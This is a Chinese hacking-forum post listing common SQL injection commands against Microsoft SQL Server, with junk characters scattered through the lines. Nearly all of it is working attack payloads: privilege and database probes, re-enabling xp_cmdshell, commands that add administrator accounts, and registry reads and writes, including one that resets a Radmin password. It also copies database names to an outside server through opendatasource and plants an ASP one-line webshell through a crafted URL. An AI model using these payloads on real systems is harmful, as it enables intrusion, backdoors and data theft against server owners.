找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2278|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的; z# C* L' @! i/ s" u1 l2 ^
and 1=(Select IS_MEMBER('db_owner'))
0 n6 {$ T. \6 zAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
9 D' \$ Z9 s) k* k8 c# T% r  r( b( X2 n
//检测是否有读取某数据库的权限" i- T2 w2 Z$ A1 o$ p" T3 J
and 1= (Select HAS_DBACCESS('master')), _" z+ m) M& a- Y7 X) B* s
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --. \1 U) J( z  w
, v( k0 y+ T/ r. p( Q5 g! S

) @$ J1 d) Q+ q$ \2 T数字类型
; b3 [( e! X; K# N1 jand char(124)%2Buser%2Bchar(124)=0: U. N" M* E  V0 G

( h! }% [9 L" j. R; l6 _字符类型! x4 m8 ?9 |7 }  c2 w* o
' and char(124)%2Buser%2Bchar(124)=0 and ''='
( l( q$ n1 E" Q" O/ C) }" Z8 E2 J3 ]; U; ^4 x1 N
搜索类型
5 }. p1 ~# [8 A7 x' D; n9 f4 m' and char(124)%2Buser%2Bchar(124)=0 and '%'='* K$ M9 i( [, a$ `& F8 A

% g7 {! Y# v2 z9 f; T/ P爆用户名
1 }$ H. c( n3 E0 mand user>0
! g- ?) ^2 k" U! K. O( G2 T  S' C' and user>0 and ''='" n9 P" O. i5 Q/ p9 `3 I

8 E6 r0 q% m% w& S3 D- Z% a检测是否为SA权限: }, K  s; z/ `7 V  d2 N
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
9 w# `6 t+ U, C( B% d+ c1 X% jAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
, \* G/ L7 R. }; n, U) E( s
5 ]' y$ r. b& o, p* s8 @( P9 c检测是不是MSSQL数据库3 F2 z: T2 t; [0 ^8 m( V
and exists (select * from sysobjects);--, h4 N  X( m  e! Q

( F/ W1 y0 b* R( @+ s) X: R* A检测是否支持多行) ]& _% I4 E$ ]0 ^4 [
;declare @d int;--8 h; s- a) ?; G# S
* l/ @0 Y6 j+ j8 g  w+ }
恢复 xp_cmdshell
/ ]- s' P8 V  B' h  a# J. M;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--  Z1 d" R' G" A2 [$ t: A2 O. @7 Y6 w

" e  {; n7 y& I- o
- [" Q, X, g( L! |$ M0 ?5 Sselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
5 i: i6 k( W  W' @
- N$ _+ U7 p+ Q1 u# S" _4 u//-----------------------
4 L( x0 v6 r8 X1 Q+ q//       执行命令
' Y7 i- f+ `( {' B//-----------------------
, Q, w2 Q$ k4 Q; V. \% I$ g. ?首先开启沙盘模式:& x3 f1 {3 L" B2 B: g& @' X$ Y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1+ w  J% v# n, a& J  P

% b( c- T5 C; w' o! K9 ?然后利用jet.oledb执行系统命令
1 _3 e- ^6 T! c- [& h& T0 J& I# \% `select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')5 u7 {- c4 X0 k& d+ `$ @+ R' S

7 v9 ~9 v9 H) P/ F9 ]执行命令" G- ~4 [: O9 B
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--" r& I! y+ e" k4 k
$ V7 i3 X3 o& {' c2 a
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
* I- S  O' }2 N# [# q/ S- Y& T5 I' `1 l7 Q$ Y
判断xp_cmdshell扩展存储过程是否存在:
4 d7 J8 @( l, P# r" K: fhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')3 S1 p! d' ]! x; E. F: k* }! J

5 p8 n" y9 H* S写注册表4 _5 H! n/ i% T( K
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
; D% E% h5 |( ]3 w& f9 o0 _* H* [4 T% ?( h" X
REG_SZ- U1 w* I) G9 s0 V8 }1 D" I

" M9 Y+ `& r4 W& c1 h$ S/ t4 D( x读注册表
2 U" _7 L2 Q; A' K, _exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'1 S( L* _2 b; c" O  i" \

* Y3 ^% o: m  Q+ t/ f读取目录内容
+ _7 S" {* g! s, u/ A* R5 @exec master..xp_dirtree 'c:\winnt\system32\',1,1
7 g7 R# g0 L: r3 N4 R( P4 E6 s$ G1 J4 h" O% v" {2 E- {2 a, \5 C3 O* n4 o6 w1 k7 q

( Q: L4 {+ z$ V8 P. w数据库备份
4 o0 R" P# P5 X/ ~" M* Obackup database pubs to disk = 'c:\123.bak'
8 i! w" J, N9 X+ G. b3 ^2 B# N
# U: p4 a3 G# W0 e- f//爆出长度
2 j, s7 f' R3 V/ w, AAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--9 m0 a- G: n$ M* G

8 J0 O5 ^" t% F3 w/ R
9 P: T! o- E- o: U3 K, t! V8 M5 X# b; Y* C* U! o1 E0 ~5 H% C
更改sa口令方法:用sql综合利用工具连接后,执行命令:- q0 T& C' O2 h: L( J4 i: t
exec sp_password NULL,'新密码','sa'
7 z# T/ e5 U  p  L3 I3 c, [! g
7 ^0 j' q7 x# F4 @: |添加和删除一个SA权限的用户test:5 f4 |2 B' c2 f
exec master.dbo.sp_addlogin test,9530772
& h1 |2 G0 ~5 M9 G( i2 f  k" wexec master.dbo.sp_addsrvrolemember test,sysadmin
; q( A% L& i; _7 X0 F  C4 j  S1 M" U2 }/ s  r& `# U
删除扩展存储过过程xp_cmdshell的语句:) t- N6 c! c/ |( D# K
exec sp_dropextendedproc 'xp_cmdshell'3 ?6 H1 l; H( Z' S7 D
$ k9 r& s6 [$ u7 `
添加扩展存储过过程
# F3 j  J4 b9 A0 J4 @  ]; ]% A: hEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
5 g$ R6 h: ^9 T0 j5 O" k, J9 @4 AGRANT exec On xp_proxiedadata TO public5 ]0 `- o2 n2 b5 f1 t. Q' Q' G: p

1 }" d& p6 @; P. h: }0 W9 s( P. I4 R- A- M7 j6 u+ G. M: j
停掉或激活某个服务。! Y" e6 x/ Y9 V' h
, f3 D4 K0 A* l( A3 d9 x
exec master..xp_servicecontrol 'stop','schedule'
0 |+ V# u: I, a) O& S: ?7 U) nexec master..xp_servicecontrol 'start','schedule'
; V4 X) V5 g7 I4 J+ m& L
! R! I& E* b& }dbo.xp_subdirs6 A1 t! d4 Y7 v

) u0 K& @  U. g2 b4 o4 c只列某个目录下的子目录。
, Y5 e1 d# z, Gxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
) O7 d2 Z' |6 ^; o; S: e% _# i, K' t
; b- U# ?2 e+ E: x% `3 [: vdbo.xp_makecab" u5 V! ?- M, i% u5 ?( U
5 ~, T1 a# ?. |
将目标多个档案压缩到某个目标档案之内。3 q- r# V' U" X' t4 }
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。: P: E& b' D, e! n$ I5 g
: H* w! a: _4 l; L
dbo.xp_makecab2 G) ?2 `% }" @* n; Q4 U$ d; j7 g3 N8 a
'c:\test.cab','mszip',1,0 M2 G* k. ~3 f/ s  s' G. u" P
'C:\Inetpub\wwwroot\SQLInject\login.asp',7 r2 w8 y, f* z& M% E
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'4 I- x1 \3 Q* S4 r
: j# Z( j' U0 v5 a* v, h' M: L
xp_terminate_process) w1 d' _& x) c% V$ S. f; R0 ~
, G0 ^9 J7 s' z) |
停掉某个执行中的程序,但赋予的参数是 Process ID。
6 ?; Y, [+ f0 m4 T, ]利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID4 `0 b( ^$ D3 U1 |! s1 G
& V7 X* c, x! }0 U* V# a: b! K& p- E
xp_terminate_process 2484' u6 @. Q6 w5 e$ f; B
% O9 g* M7 O4 P  c5 c
xp_unpackcab
, |5 N) k  S( [7 d3 @% ?; t% m( b' S, }/ S
解开压缩档。
1 F% ~  W+ T5 ]* C4 e0 e$ @4 K6 f, d  L/ y
xp_unpackcab 'c:\test.cab','c:\temp',16 |( B7 U$ f) U; N) V* F

1 G9 B3 x/ Y8 X" v% \, R8 e
% T' a( j/ ?1 J0 p- F) O某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
7 _5 e  c# w/ v
! X, J( Y0 a1 M1 V8 ncreate database lcx;' m: }) g3 b. x) x! H) I2 R: G$ b
Create TABLE ku(name nvarchar(256) null);5 |- {  S# T! \6 z
Create TABLE biao(id int NULL,name nvarchar(256) null);
( p0 ^5 j! T0 d4 N2 A! \* E0 J" j
//得到数据库名0 }2 ]' `! ~  p( ~4 v( H
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases) K. C" F+ H: p& n% j. M
5 `& u2 h* N7 Z  c; a
! g2 m" ?, I3 e4 ~2 W
//在Master中创建表,看看权限怎样0 r- N6 C3 p. C  n2 W/ v! s
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--4 i! J1 m+ X+ i6 \
. U3 j7 r3 O$ E% K$ l1 O; n1 y
用 sp_makewebtask直接在web目录里写入一句话马:
( a$ m, x) P2 ]* p1 M- Chttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
" g! F0 p6 O/ L0 ?7 f1 S: [8 X$ I; K9 g6 \0 I, n+ i( T
//更新表内容
: d9 Y, z. p- P- T7 ]" cUpdate films SET kind = 'Dramatic' Where id = 1234 @' {# ]- K; T
& T9 e( X( E4 D- u: N
//删除内容6 o7 B1 u2 a2 s5 l
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表